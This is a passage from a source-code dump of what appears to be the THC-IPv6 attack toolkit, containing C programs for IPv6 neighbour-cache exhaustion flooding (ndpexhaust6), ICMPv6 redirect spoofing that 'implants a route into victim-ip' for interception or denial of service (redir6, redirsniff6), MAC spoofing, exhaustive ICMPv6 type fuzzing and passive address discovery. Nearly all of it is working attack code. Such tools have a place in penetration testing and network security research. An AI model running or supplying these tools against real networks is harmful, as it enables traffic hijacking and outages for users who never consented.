hdr->pkt + offset + 8, hdr->pkt + offset + 24, NXT_ICMP6, 178 | hdr->pkt + offset + 40 + alert, pkt_len - offset - 40 - alert); 179 | hdr->pkt[offset + 42 + alert] = mychecksum / 256; 180 | hdr->pkt[offset + 43 + alert] = mychecksum % 256; 181 | } 182 | 183 | while (thc_send_pkt(interface, pkt, &pkt_len) < 0) 184 | usleep(1); 185 | 186 | count++; 187 | if (count % 1000 == 0) printf("."); 188 | } 189 | return 0; 190 | } 191 | -------------------------------------------------------------------------------- /ndpexhaust6.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include "thc-ipv6.h" 12 | 13 | void help(char *prg) { 14 | printf("%s by mario fleischmann \n\n", prg); 15 | printf("Syntax: %s interface destination-network [sourceip]\n\n", prg); 16 | printf("Randomly pings IPs in target network\n\n"); 17 | exit(-1); 18 | } 19 | 20 | int main(int argc, char *argv[]) { 21 | char * interface; 22 | int prefer = PREFER_GLOBAL; 23 | unsigned char *srcmac; 24 | unsigned char *dst6, *src6; 25 | unsigned char *ptr; 26 | // char dstmac[6] = ""; 27 | unsigned char *dstmac = NULL, *tmpmac, *dstnet; 28 | int pkt_len = 16; 29 | int count = 0; 30 | int i; 31 | int size, numbytes, samenet = 0; 32 | unsigned char *pkt = NULL; 33 | unsigned char buf[] = "NDP Exhaustion"; 34 | 35 | // hardcoded mac 36 | /*dstmac[0] = 0x00; 37 | dstmac[1] = 0x05; 38 | dstmac[2] = 0x73; 39 | dstmac[3] = 0xa0; 40 | dstmac[4] = 0x00; 41 | dstmac[5] = 0x01; */ 42 | 43 | setvbuf(stdout, NULL, _IONBF, 0); 44 | setvbuf(stderr, NULL, _IONBF, 0); 45 | 46 | printf( 47 | "!\n! Please note: ndpexhaust6 is deprecated, please use " 48 | "ndpexhaust26!\n!\n\n"); 49 | 50 | if (argc < 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); 51 | 52 | interface = argv[1]; 53 | if ((srcmac = thc_get_own_mac(interface)) == NULL) { 54 | printf("Error: invalid interface defined: %s\n", interface); 55 | exit(-1); 56 | } 57 | dstnet = argv[2]; // hier stehts dstnet drin 58 | if (dstnet == NULL || (ptr = index(dstnet, '/')) == NULL) { 59 | printf( 60 | "Error: Option must be supplied as IP-ADDRESS/PREFIXLENGTH, e.g. " 61 | "ff80::01/16\n"); 62 | exit(-1); 63 | } 64 | 65 | *ptr++ = 0; 66 | size = atoi(ptr); // prefix lenght 67 | // printf("Prefix length is %d\n", size); 68 | if (size != 64) 69 | fprintf(stderr, 70 | "Warning: unusual network prefix size defined, be sure what your " 71 | "are doing: %d\n", 72 | size); 73 | numbytes = (128 - size) / 8; // number of bytes to create 74 | // printf("Creating %d random adress bytes\n", numbytes); 75 | srand(time(NULL) + getpid()); // initalize random number generator 76 | dst6 = thc_resolve6(dstnet); 77 | // thc_dump_data(dst6, 16, "dst"); 78 | if (argc >= 4) 79 | src6 = thc_resolve6(argv[3]); 80 | else 81 | src6 = thc_get_own_ipv6(interface, dst6, PREFER_GLOBAL); 82 | // thc_dump_data(src6, 16, "src"); 83 | dstmac = thc_get_mac(interface, src6, dst6); 84 | 85 | printf("Starting to randomly ping addresses in network %s/%d on %s:\n", 86 | dstnet, size, interface); 87 | while (1) { 88 | ++count; 89 | for (i = 0; i < numbytes; i++) { 90 | dst6[16 - numbytes + i] = 91 | rand() % 256; // direct destination manipulation 92 | } 93 | if (count == 1) { 94 | tmpmac = thc_get_mac(interface, src6, dst6); 95 | if (tmpmac != NULL && dstmac != NULL && memcmp(dstmac, tmpmac, 6) == 0) 96 | samenet = 1; 97 | } else { 98 | if (samenet == 0) { 99 | free(dstmac); 100 | dstmac = thc_get_mac(interface, src6, dst6); 101 | } 102 | } 103 | 104 | // printf("%s\n", ip6adr); 105 | // printf("Sending ICMP ECHO to %s\n", ip6adr); 106 | if ((pkt = thc_create_ipv6_extended(interface, prefer, &pkt_len, src6, dst6, 107 | 64, 0, 0, 0, 0)) == NULL) 108 | errx(EXIT_FAILURE, "THC: Could not create IPv6 packet\n"); 109 | if (thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, 0xfacebabe, buf, 110 | sizeof(buf), 0) == -1) 111 | errx(EXIT_FAILURE, "THC: Could not add ICMP6 packet contents\n"); 112 | // thc_add_udp(pkt, &pkt_len, 53, 53, 0, buf, sizeof(buf)); 113 | 114 | if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) 115 | printf("!"); 116 | thc_destroy_packet(pkt); 117 | usleep(1); 118 | if (count % 1000 == 0) printf("."); 119 | } 120 | } 121 | -------------------------------------------------------------------------------- /node_query6.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include "thc-ipv6.h" 12 | 13 | char *frbuf, *frbuf2, *frint, buf3[1504]; 14 | int frbuflen, frbuf2len, do_hop = 0, do_frag = 0, do_dst = 0, type = NXT_ICMP6, 15 | seen = 0, ret = -1; 16 | unsigned char *frip6, *frmac, *frdst; 17 | thc_ipv6_hdr * frhdr = NULL; 18 | 19 | void help(char *prg) { 20 | printf("%s %s (c) 2022 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); 21 | printf("Syntax: %s interface target\n\n", prg); 22 | printf( 23 | "Sends an ICMPv6 node query request to the target and dumps the " 24 | "replies.\n\n"); 25 | // printf("Use -r to use raw mode.\n\n"); 26 | exit(-1); 27 | } 28 | 29 | void dump_node_reply(u_char *foo, const struct pcap_pkthdr *header, 30 | const unsigned char *data) { 31 | unsigned char *ipv6hdr = (unsigned char *)(data + 14), *ptr; 32 | int i, len = header->caplen - 14; 33 | 34 | if (do_hdr_size) { 35 | len = header->caplen - do_hdr_size; 36 | ipv6hdr = (unsigned char *)(data + do_hdr_size); 37 | if ((ipv6hdr[0] & 240) != 0x60) return; 38 | } 39 | 40 | if (ipv6hdr[6] != NXT_ICMP6 || ipv6hdr[40] != ICMP6_INFOREPLY || 41 | len < 40 + 16) 42 | return; 43 | 44 | ret = 0; 45 | 46 | printf("Reply from %s:\n", thc_ipv62notation(ipv6hdr + 8)); 47 | switch (ipv6hdr[45]) { 48 | case 2: 49 | printf(" DNS result: "); 50 | if (len <= 60) { 51 | printf("empty\n"); 52 | } else { 53 | ptr = ipv6hdr + 61; 54 | while (*ptr != 0) { 55 | if (*ptr > 0 && *ptr < 32) *ptr = '.'; 56 | ptr++; 57 | } 58 | printf("%s\n", ipv6hdr + 61); 59 | } 60 | seen++; 61 | break; 62 | case 3: 63 | printf(" IPv6 result: "); 64 | if (len <= 76) { 65 | printf("empty\n"); 66 | } else { 67 | printf("\n"); 68 | i = 60; 69 | while (i + 16 <= len) { 70 | printf(" %s\n", thc_ipv62notation((char *)(ipv6hdr + i))); 71 | i += 20; 72 | } 73 | } 74 | seen++; 75 | break; 76 | case 4: 77 | printf(" IPv4 result: "); 78 | if (len == 56) { 79 | printf("empty\n"); 80 | } else { 81 | printf("\n"); 82 | i = 60; 83 | while (i + 4 <= len) { 84 | printf(" %d.%d.%d.%d\n", ipv6hdr[i], ipv6hdr[i + 1], 85 | ipv6hdr[i + 2], ipv6hdr[i + 3]); 86 | i += 8; 87 | } 88 | } 89 | seen++; 90 | break; 91 | default: 92 | printf(" Unknown type (%d) we did not send!\n", ipv6hdr[45]); 93 | } 94 | 95 | printf("\n"); 96 | } 97 | 98 | void clean_exit(int sig) { 99 | if (seen == 0) printf("No reply received.\n"); 100 | exit(ret); 101 | } 102 | 103 | int main(int argc, char *argv[]) { 104 | char * interface, mac[6] = "", string[] = "ip6 and icmp6"; 105 | unsigned char *mac6 = mac; 106 | unsigned char buf[512]; 107 | unsigned char *dst; 108 | int i, cnt; 109 | unsigned char *pkt = NULL; 110 | int pkt_len = 0; 111 | int rawmode = 0; 112 | pcap_t * p; 113 | 114 | if (argc != 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); 115 | 116 | while ((i = getopt(argc, argv, "r")) >= 0) { 117 | switch (i) { 118 | case 'r': 119 | thc_ipv6_rawmode(1); 120 | rawmode = 1; 121 | break; 122 | default: 123 | fprintf(stderr, "Error: invalid option %c\n", i); 124 | exit(-1); 125 | } 126 | } 127 | 128 | interface = argv[optind]; 129 | mac6 = thc_get_own_mac(interface); 130 | if ((dst = thc_resolve6(argv[2])) == NULL) { 131 | fprintf(stderr, "Error: could not resolve %s\n", argv[2]); 132 | return -1; 133 | } 134 | 135 | memset(buf, 0, sizeof(buf)); 136 | memcpy(buf + 8, dst, 16); 137 | i = 24; 138 | cnt += getpid(); 139 | memcpy(buf + 4, (char *)&cnt + _TAKE4, 4); 140 | cnt++; 141 | 142 | if ((p = thc_pcap_init(interface, string)) == NULL) { 143 | fprintf(stderr, "Error: could not capture on interface %s with string %s\n", 144 | interface, string); 145 | exit(-1); 146 | } 147 | 148 | if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, NULL, 149 | dst, 255, 0, 0, 0xe0, 0)) == NULL) 150 | return -1; 151 | if (thc_add_icmp6(pkt, &pkt_len, ICMP6_INFOREQUEST, 0, 0x00020000, buf, i, 152 | 0) < 0) 153 | return -1; 154 | if (thc_generate_and_send_pkt(interface, mac6, NULL, pkt, &pkt_len) < 0) 155 | return -1; 156 | usleep(1000); 157 | memcpy(buf + 4, (char *)&cnt + _TAKE4, 4); 158 | cnt++; 159 | if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, NULL, 160 | dst, 255, 0, 0, 0xe0, 0)) == NULL) 161 | return -1; 162 | if (thc_add_icmp6(pkt, &pkt_len, ICMP6_INFOREQUEST, 0, 0x0003003e, buf, i, 163 | 0) < 0) 164 | return -1; 165 | if (thc_generate_and_send_pkt(interface, mac6, NULL, pkt, &pkt_len) < 0) 166 | return -1; 167 | usleep(1000); 168 | memcpy(buf + 4, (char *)&cnt + _TAKE4, 4); 169 | cnt++; 170 | if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, NULL, 171 | dst, 255, 0, 0, 0xe0, 0)) == NULL) 172 | return -1; 173 | if (thc_add_icmp6(pkt, &pkt_len, ICMP6_INFOREQUEST, 0, 0x00040002, buf, i, 174 | 0) < 0) 175 | return -1; 176 | if (thc_generate_and_send_pkt(interface, mac6, NULL, pkt, &pkt_len) < 0) 177 | return -1; 178 | 179 | signal(SIGALRM, clean_exit); 180 | alarm(5); 181 | while (seen != 3) { 182 | while (thc_pcap_check(p, (char *)dump_node_reply, NULL) > 0) 183 | ; 184 | usleep(100); 185 | } 186 | clean_exit(0); 187 | return 0; // not reached 188 | } 189 | -------------------------------------------------------------------------------- /passive_discovery6.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include "thc-ipv6.h" 12 | 13 | #define MAX_ENTRIES 65536 14 | 15 | int maxhop = 255, dcnt = 0, do_dst = 0, noverb = 0; 16 | unsigned char d[MAX_ENTRIES + 1][16], hostpart[8]; 17 | char * interface, *script = NULL, exec[256], *replace = NULL, *ll; 18 | 19 | void help(char *prg) { 20 | printf("%s %s (c) 2022 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); 21 | printf("Syntax: %s [-Ds] [-m maxhop] [-R prefix] interface [script]\n\n", 22 | prg); 23 | printf("Options:\n"); 24 | printf( 25 | " -D do also dump destination addresses (does not work with " 26 | "-m)\n"); 27 | printf(" -s do only print the addresses, no other output\n"); 28 | printf( 29 | " -m maxhop the maximum number of hops a target which is dumped may be " 30 | "away.\n"); 31 | printf( 32 | " 0 means local only, the maximum amount to make sense is " 33 | "usually 5\n"); 34 | printf( 35 | " -R prefix exchange the defined prefix with the link local prefix\n"); 36 | printf( 37 | "\nPassivly sniffs the network and dump all client's IPv6 addresses " 38 | "detected.\n"); 39 | printf( 40 | "Note that in a switched environment you get better results when " 41 | "additionally\nstarting parasite6, however this will impact the " 42 | "network.\n"); 43 | printf( 44 | "If a script name is specified after the interface, it is called with " 45 | "the\ndetected ipv6 address as first and the interface as second " 46 | "option.\n"); 47 | exit(-1); 48 | } 49 | 50 | void detect(u_char *foo, const struct pcap_pkthdr *header, 51 | unsigned char *data) { 52 | char *ptr = data, *ptr2; 53 | int i, j, k, offset = 8, doit, len = header->caplen; 54 | 55 | if (do_hdr_size) { 56 | len -= do_hdr_size; 57 | ptr += do_hdr_size; 58 | thc_dump_data(ptr, 8, "packet"); 59 | if ((ptr[0] & 240) != 0x60) return; 60 | } else { 61 | len -= 14; 62 | ptr += 14; 63 | } 64 | 65 | // drop ff00::/8 and ::/128 66 | for (k = 0; k <= do_dst; k++) { 67 | doit = 0; 68 | 69 | if ((unsigned char)ptr[offset] != 0xff && 70 | (maxhop > 254 || (unsigned char)ptr[7] >= 255 - maxhop || 71 | ((unsigned char)ptr[7] >= 128 - maxhop && 72 | (unsigned char)ptr[7] <= 128) || 73 | ((unsigned char)ptr[7] >= 64 - maxhop && (unsigned char)ptr[7] <= 64))) 74 | doit = 1; 75 | if (memcmp(ptr + 8, d[dcnt + 1], 16) == 0) { 76 | if (k == 0 && (unsigned char)ptr[7] == 255 && 77 | (unsigned char)ptr[6] == NXT_ICMP6 && 78 | (unsigned char)ptr[40] == ICMP6_NEIGHBORSOL && len >= 64) { 79 | doit = 1; // DAD packet 80 | offset = 48; 81 | } else 82 | doit = 0; 83 | } 84 | 85 | // is it our own address? 86 | if (memcmp(ptr + offset + 8, hostpart, 8) == 0) doit = 0; 87 | 88 | if (doit) { 89 | // replace prefix with link-local if -R 90 | if (replace != NULL) 91 | if (memcmp(ptr + offset, replace, 8) == 0) memcpy(ptr + offset, ll, 8); 92 | 93 | // check for doubles 94 | j = 0; 95 | if (dcnt > 0) 96 | for (i = 0; i < dcnt && j == 0; i++) 97 | if (memcmp(ptr + offset, d[i], 16) == 0) j = 1; 98 | 99 | if (j == 0) { // no double 100 | ptr2 = thc_ipv62notation((char *)(ptr + offset)); 101 | printf("%s%s\n", noverb == 0 ? "Detected: " : "", ptr2); 102 | 103 | if (dcnt < MAX_ENTRIES) { // add to double list 104 | memcpy(d[dcnt], ptr + offset, 16); 105 | dcnt++; 106 | } else if (dcnt == MAX_ENTRIES) { // table full? should not happen, 107 | // smells like attack 108 | dcnt++; 109 | fprintf(stderr, 110 | "Warning: Table for detected IPv6 addresses is full, doubles " 111 | "can occur now!\n"); 112 | } 113 | 114 | if (script != NULL && fork() == 0) { // beware, this can DOS you 115 | (void)wait3(NULL, WNOHANG, NULL); 116 | snprintf(exec, sizeof(exec), "%s %s %s\n", script, ptr2, interface); 117 | if (system(exec) < 0) 118 | fprintf(stderr, "Error: Executing failed - %s\n", exec); 119 | exit(0); 120 | } 121 | 122 | free(ptr2); 123 | } 124 | } 125 | 126 | offset += 16; 127 | } 128 | } 129 | 130 | int main(int argc, char *argv[]) { 131 | int i; 132 | char *glob; 133 | 134 | if (argc < 2 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); 135 | 136 | setvbuf(stdout, NULL, _IONBF, 0); 137 | setvbuf(stderr, NULL, _IONBF, 0); 138 | 139 | while ((i = getopt(argc, argv, "Dsm:R:")) >= 0) { 140 | switch (i) { 141 | case 'm': 142 | maxhop = atoi(optarg); 143 | break; 144 | case 'D': 145 | do_dst = 1; 146 | break; 147 | case 's': 148 | noverb = 1; 149 | break; 150 | case 'R': 151 | if ((ll = index(optarg, '/')) != NULL) *ll = 0; 152 | replace = thc_resolve6(optarg); 153 | break; 154 | default: 155 | fprintf(stderr, "Error: invalid option %c\n", i); 156 | exit(-1); 157 | } 158 | } 159 | 160 | if (argc - optind < 1 || argc - optind > 2) help(argv[0]); 161 | 162 | interface = argv[optind]; 163 | if (argc == optind + 2) script = argv[optind + 1]; 164 | 165 | memset(d, 0, sizeof(d)); 166 | _thc_ipv6_showerrors = 0; 167 | 168 | // we dont want our own address in the discovered addresses 169 | glob = thc_get_own_ipv6(interface, NULL, PREFER_GLOBAL); 170 | ll = thc_get_own_ipv6(interface, NULL, PREFER_LINK); 171 | if (!ll) { 172 | fprintf(stderr, "No IPv6 found on interface %s\n", interface); 173 | exit(-1); 174 | } 175 | memcpy(hostpart, ll + 8, 8); 176 | if (memcmp(ll + 8, glob + 8, 8) != 177 | 0) { // do we have a global address with a different host part? 178 | memcpy(d[0], glob, 16); 179 | dcnt = 1; 180 | } 181 | 182 | if (do_dst < 255 && do_dst) 183 | fprintf(stderr, 184 | "Warning: it does not make sense to use the -m and -D options " 185 | "together!\n"); 186 | 187 | if (noverb == 0) 188 | printf( 189 | "Started IPv6 passive system detection (Press Control-C to end) ...\n"); 190 | return thc_pcap_function(interface, "ip6", (char *)detect, 1, NULL); 191 | 192 | return 0; // never reached 193 | } 194 | -------------------------------------------------------------------------------- /randicmp6.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include "thc-ipv6.h" 13 | 14 | void check_packet(u_char *foo, const struct pcap_pkthdr *header, 15 | const unsigned char *data) { 16 | unsigned char *ipv6hdr = (unsigned char *)(data + 14); 17 | int len = header->caplen - 14; 18 | 19 | if (do_hdr_size) { 20 | ipv6hdr = (unsigned char *)(data + do_hdr_size); 21 | len -= (do_hdr_size - 14); 22 | if ((ipv6hdr[0] & 240) != 0x60 || ipv6hdr[6] != NXT_ICMP6 || len < 48) 23 | return; 24 | } else if (len < 48) 25 | return; 26 | 27 | printf("Received type %d code %d\n", ipv6hdr[40], ipv6hdr[41]); 28 | } 29 | 30 | int main(int argc, char *argv[]) { 31 | unsigned char *dst61, *src61 = NULL; 32 | unsigned char buf[8]; 33 | int pkt_len = 600; 34 | char * interface, string[64]; 35 | unsigned char *pkt = NULL; 36 | unsigned char *srcmac, *dstmac; // can define as null to auto generate 37 | int type, code, flags = 0, tf = 0, tt = 255, cf = 0, ct = 255, print = 1; 38 | pcap_t *p; 39 | 40 | setvbuf(stdout, NULL, _IONBF, 0); 41 | setvbuf(stderr, NULL, _IONBF, 0); 42 | 43 | if (argc < 3) { 44 | printf( 45 | "Syntax: %s [-p] [-s sourceip] interface destination [type [code]]\n\n", 46 | argv[0]); 47 | printf("Sends all ICMPv6 type and code combinations to destination.\n"); 48 | printf("Option -s sets the source IPv6 address.\n"); 49 | printf("Option -p will not print answers received.\n"); 50 | exit(0); 51 | } 52 | 53 | if (strncmp(argv[1], "-p", 2) == 0) { 54 | print = 0; 55 | argv++; 56 | argc--; 57 | } 58 | if (strncmp(argv[1], "-s", 2) == 0) { 59 | src61 = thc_resolve6(argv[2]); 60 | argv++; 61 | argv++; 62 | argc--; 63 | argc--; 64 | } 65 | if (strncmp(argv[1], "-p", 2) == 0) { 66 | print = 0; 67 | argv++; 68 | argc--; 69 | } 70 | 71 | interface = argv[1]; 72 | // source and destination IPv6 addresses 73 | dst61 = thc_resolve6(argv[2]); 74 | if (src61 == NULL) src61 = thc_get_own_ipv6(interface, dst61, PREFER_GLOBAL); 75 | 76 | if (argc >= 4) tf = tt = atoi(argv[3]); 77 | if (argc >= 5) cf = ct = atoi(argv[4]); 78 | 79 | memset(buf, 0, sizeof(buf)); 80 | printf("Sending ICMPv6 Packets to %s%%%s\n", argv[2], argv[1]); 81 | 82 | srcmac = thc_get_own_mac(interface); 83 | dstmac = thc_get_mac(interface, src61, dst61); 84 | 85 | if (srcmac == NULL) { 86 | fprintf(stderr, "Error: illegal interface: %s\n", interface); 87 | exit(-1); 88 | } 89 | if (dstmac == NULL) { 90 | fprintf(stderr, "Error: can not resolve target: %s\n", argv[2]); 91 | exit(-1); 92 | } 93 | 94 | if (dst61[0] == 0xff) { 95 | sprintf(string, "icmp6 and dst %s", thc_ipv62notation(src61)); 96 | } else { 97 | sprintf(string, "icmp6 and src %s", thc_ipv62notation(dst61)); 98 | } 99 | 100 | if ((p = thc_pcap_init(interface, string)) == NULL) { 101 | fprintf(stderr, "Error: could not capture on interface %s with string %s\n", 102 | interface, string); 103 | exit(-1); 104 | } 105 | 106 | for (type = tf; type <= tt; type++) { 107 | printf("Sending ICMPv6 type %d ...\n", type); 108 | for (code = cf; code <= ct; code++) { 109 | // build the packet 110 | if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, 111 | src61, dst61, 255, 0, 0, 0, 0)) == 112 | NULL) 113 | printf("Packet Creation Failed\n"); 114 | 115 | // add icmp part 116 | if (thc_add_icmp6(pkt, &pkt_len, type, code, flags, buf, sizeof(buf), 0) < 117 | 0) 118 | return -1; 119 | 120 | // generate packet 121 | if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) { 122 | printf("generate failed\n"); 123 | return -1; 124 | } 125 | // send the packet out 126 | if (thc_send_pkt(interface, pkt, &pkt_len) < 0) 127 | printf("packet not sent \n"); 128 | 129 | thc_destroy_packet(pkt); // destroy the packet 130 | pkt = NULL; 131 | pkt_len = 0; 132 | if (print) { 133 | usleep(5000); 134 | while (thc_pcap_check(p, (char *)check_packet, NULL) > 0) 135 | ; 136 | } 137 | } 138 | } 139 | if (print) { 140 | sleep(1); 141 | while (thc_pcap_check(p, (char *)check_packet, NULL) > 0) 142 | ; 143 | } 144 | printf("Done!\n"); 145 | return 0; 146 | } 147 | -------------------------------------------------------------------------------- /redir6.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include "thc-ipv6.h" 12 | 13 | void help(char *prg) { 14 | printf("%s %s (c) 2022 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); 15 | printf( 16 | "Syntax: %s interface victim-ip target-ip original-router new-router " 17 | "[new-router-mac] [hop-limit]\n\n", 18 | prg); 19 | printf( 20 | "Implant a route into victim-ip, which redirects all traffic to " 21 | "target-ip to\n"); 22 | printf("new-ip. You must know the router which would handle the route.\n"); 23 | printf("If the new-router-mac does not exist, this results in a DOS.\n"); 24 | printf( 25 | "If the TTL of the target is not 64, then specify this is the last " 26 | "option.\n"); 27 | // printf("Use -r to use raw mode.\n\n"); 28 | exit(-1); 29 | } 30 | 31 | int main(int argc, char *argv[]) { 32 | unsigned char *pkt = NULL, buf[16], mac[16] = ""; 33 | unsigned char *mac6 = mac, *src6, *target6, *oldrouter6, *newrouter6, *self6, 34 | *fakemac; 35 | thc_ipv6_hdr *ipv6; 36 | char * interface; 37 | int pkt_len, rawmode = 0, ttl = 64, offset = 14; 38 | 39 | if (argc < 6 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); 40 | 41 | if (strcmp(argv[1], "-r") == 0) { 42 | thc_ipv6_rawmode(1); 43 | rawmode = 1; 44 | argv++; 45 | argc--; 46 | } 47 | 48 | if (do_hdr_size) offset = do_hdr_size; 49 | interface = argv[1]; 50 | src6 = thc_resolve6(argv[2]); 51 | target6 = thc_resolve6(argv[3]); 52 | oldrouter6 = thc_resolve6(argv[4]); 53 | if ((newrouter6 = thc_resolve6(argv[5])) == NULL) { 54 | fprintf(stderr, "Error: %s does not resolve to a valid IPv6 address\n", 55 | argv[5]); 56 | exit(-1); 57 | } 58 | 59 | if (thc_get_own_mac(interface) == NULL) { 60 | fprintf(stderr, "Error: invalid interface %s\n", interface); 61 | exit(-1); 62 | } 63 | /* Spoof source mac */ 64 | if ((self6 = thc_get_own_ipv6(interface, oldrouter6, PREFER_GLOBAL)) == 65 | NULL) { 66 | fprintf(stderr, 67 | "Error: could not get own IP address to contact original-router\n"); 68 | exit(-1); 69 | } 70 | if ((fakemac = thc_get_mac(interface, self6, oldrouter6)) == NULL) { 71 | fprintf(stderr, 72 | "Error: could not resolve mac address for original-router\n"); 73 | free(self6); 74 | exit(-1); 75 | } 76 | 77 | if (rawmode == 0) { 78 | if (argc >= 7) 79 | sscanf(argv[6], "%x:%x:%x:%x:%x:%x", (unsigned int *)&mac[0], 80 | (unsigned int *)&mac[1], (unsigned int *)&mac[2], 81 | (unsigned int *)&mac[3], (unsigned int *)&mac[4], 82 | (unsigned int *)&mac[5]); 83 | else 84 | mac6 = thc_get_own_mac(interface); 85 | } 86 | 87 | if (argc >= 8) ttl = atoi(argv[7]); 88 | if (ttl <= 0 || ttl > 255) ttl = 64; 89 | 90 | memset(buf, 'A', 16); 91 | 92 | if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, 93 | target6, src6, 0, 0, 0, 0, 0)) == NULL) 94 | return -1; 95 | if (thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, 0xfacebabe, 96 | (unsigned char *)&buf, 16, 0) < 0) 97 | return -1; 98 | if (thc_generate_and_send_pkt(interface, fakemac, NULL, pkt, &pkt_len) < 0) { 99 | fprintf(stderr, "Error: Can not send packet, exiting ...\n"); 100 | exit(-1); 101 | } 102 | 103 | usleep(25000); 104 | ipv6 = (thc_ipv6_hdr *)pkt; 105 | thc_inverse_packet(ipv6->pkt + offset, ipv6->pkt_len - offset); 106 | ipv6->pkt[offset + 7] = (unsigned char)ttl; 107 | 108 | thc_redir6(interface, oldrouter6, fakemac, NULL, newrouter6, mac6, 109 | ipv6->pkt + 14, ipv6->pkt_len - 14); 110 | printf("Sent ICMPv6 redirect for %s\n", argv[3]); 111 | 112 | free(self6); 113 | free(fakemac); 114 | 115 | return 0; 116 | } 117 | -------------------------------------------------------------------------------- /redirsniff6.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include "thc-ipv6.h" 12 | 13 | unsigned char *pkt = NULL, buf[16], mac[16] = "", *realownmac; 14 | unsigned char *mac6 = mac, *src6, *dest6, *oldrouter6, *newrouter6, *self6, 15 | *fakemac; 16 | char *interface; 17 | 18 | void help(char *prg) { 19 | printf("%s %s (c) 2022 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); 20 | printf( 21 | "Syntax: %s interface victim-ip destination-ip original-router " 22 | "[new-router [new-router-mac]]\n\n", 23 | prg); 24 | printf( 25 | "Implant a route into victim-ip, which redirects all traffic to " 26 | "destination-ip to\n"); 27 | printf( 28 | "new-router. This is done on all traffic that flows by that matches\n"); 29 | printf( 30 | "victim->target. You must know the router which would handle the " 31 | "route.\n"); 32 | printf("If the new-router/-mac does not exist, this results in a DOS.\n"); 33 | printf( 34 | "You can supply a wildcard ('*') for victim-ip and/or destination-ip.\n"); 35 | exit(-1); 36 | } 37 | 38 | void intercept(u_char *foo, const struct pcap_pkthdr *header, 39 | const unsigned char *data) { 40 | char *ptr, *ptr2; 41 | 42 | // packet is to the real router, and is not from us? 43 | if (memcmp(realownmac, data + 6, 6) == 0 || memcmp(fakemac, data, 6) != 0) 44 | return; 45 | 46 | // check that source and dest are routed 47 | 48 | // same network? 49 | if (memcmp(data + 14 + 8, data + 14 + 8 + 16, 8) == 0) return; 50 | // dst fe.. or ff.. or 00? 51 | if (data[14 + 8 + 16] >= 0xfe || data[14 + 8 + 16] == 0) return; 52 | // src fe.. or ff.. or 00? 53 | if (data[14 + 8 + 16] >= 0xfe || data[14 + 8 + 16] == 0) return; 54 | 55 | if (src6 != NULL) { // victim wildcard? if not, check src 56 | if (memcmp(src6, data + 14 + 8, 16) != 0) return; 57 | } else { // victim wildcard - we have to ensure that the source is local -> 58 | // hop count! 59 | if (data[14 + 7] != 64 && data[14 + 7] != 128 && data[14 + 7] != 255) 60 | return; 61 | } 62 | if (dest6 != NULL) // destination wildcard? if not, check dst 63 | if (memcmp(dest6, data + 14 + 8 + 16, 16) != 0) return; 64 | 65 | thc_redir6(interface, oldrouter6, fakemac, (unsigned char *)data + 6, 66 | newrouter6, mac6, (unsigned char *)data + 14, header->caplen - 14); 67 | 68 | ptr = thc_ipv62notation((unsigned char *)data + 14 + 8); 69 | ptr2 = thc_ipv62notation((unsigned char *)data + 14 + 8 + 16); 70 | printf("Sent ICMPv6 redirect for %s -> %s\n", ptr, ptr2); 71 | free(ptr); 72 | free(ptr2); 73 | } 74 | 75 | int main(int argc, char *argv[]) { 76 | int rawmode = 0, offset = 14; 77 | char string[256] = "ip6"; 78 | 79 | if (argc < 5 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); 80 | 81 | if (strcmp(argv[1], "-r") == 0) { 82 | thc_ipv6_rawmode(1); 83 | rawmode = 1; 84 | argv++; 85 | argc--; 86 | } 87 | 88 | if (do_hdr_size) offset = do_hdr_size; 89 | interface = argv[1]; 90 | if ((src6 = thc_resolve6(argv[2])) == NULL) { 91 | if (strcmp(argv[2], "*") != 0) { 92 | fprintf(stderr, 93 | "Error: victim-ip is not a valid IPv6 address or '*': %s\n", 94 | argv[2]); 95 | exit(-1); 96 | } 97 | } 98 | if ((dest6 = thc_resolve6(argv[3])) == NULL) { 99 | if (strcmp(argv[3], "*") != 0) { 100 | fprintf(stderr, 101 | "Error: destination-ip is not a valid IPv6 address or '*': %s\n", 102 | argv[3]); 103 | exit(-1); 104 | } 105 | } 106 | 107 | if ((oldrouter6 = thc_resolve6(argv[4])) == NULL) { 108 | fprintf(stderr, "Error: old-router is not a valid IPv6 address: %s\n", 109 | argv[4]); 110 | exit(-1); 111 | } 112 | 113 | if (argc >= 6) { 114 | if ((newrouter6 = thc_resolve6(argv[5])) == NULL) { 115 | fprintf(stderr, "Error: new-router is not a valid IPv6 address: %s\n", 116 | argv[5]); 117 | exit(-1); 118 | } 119 | } else 120 | newrouter6 = 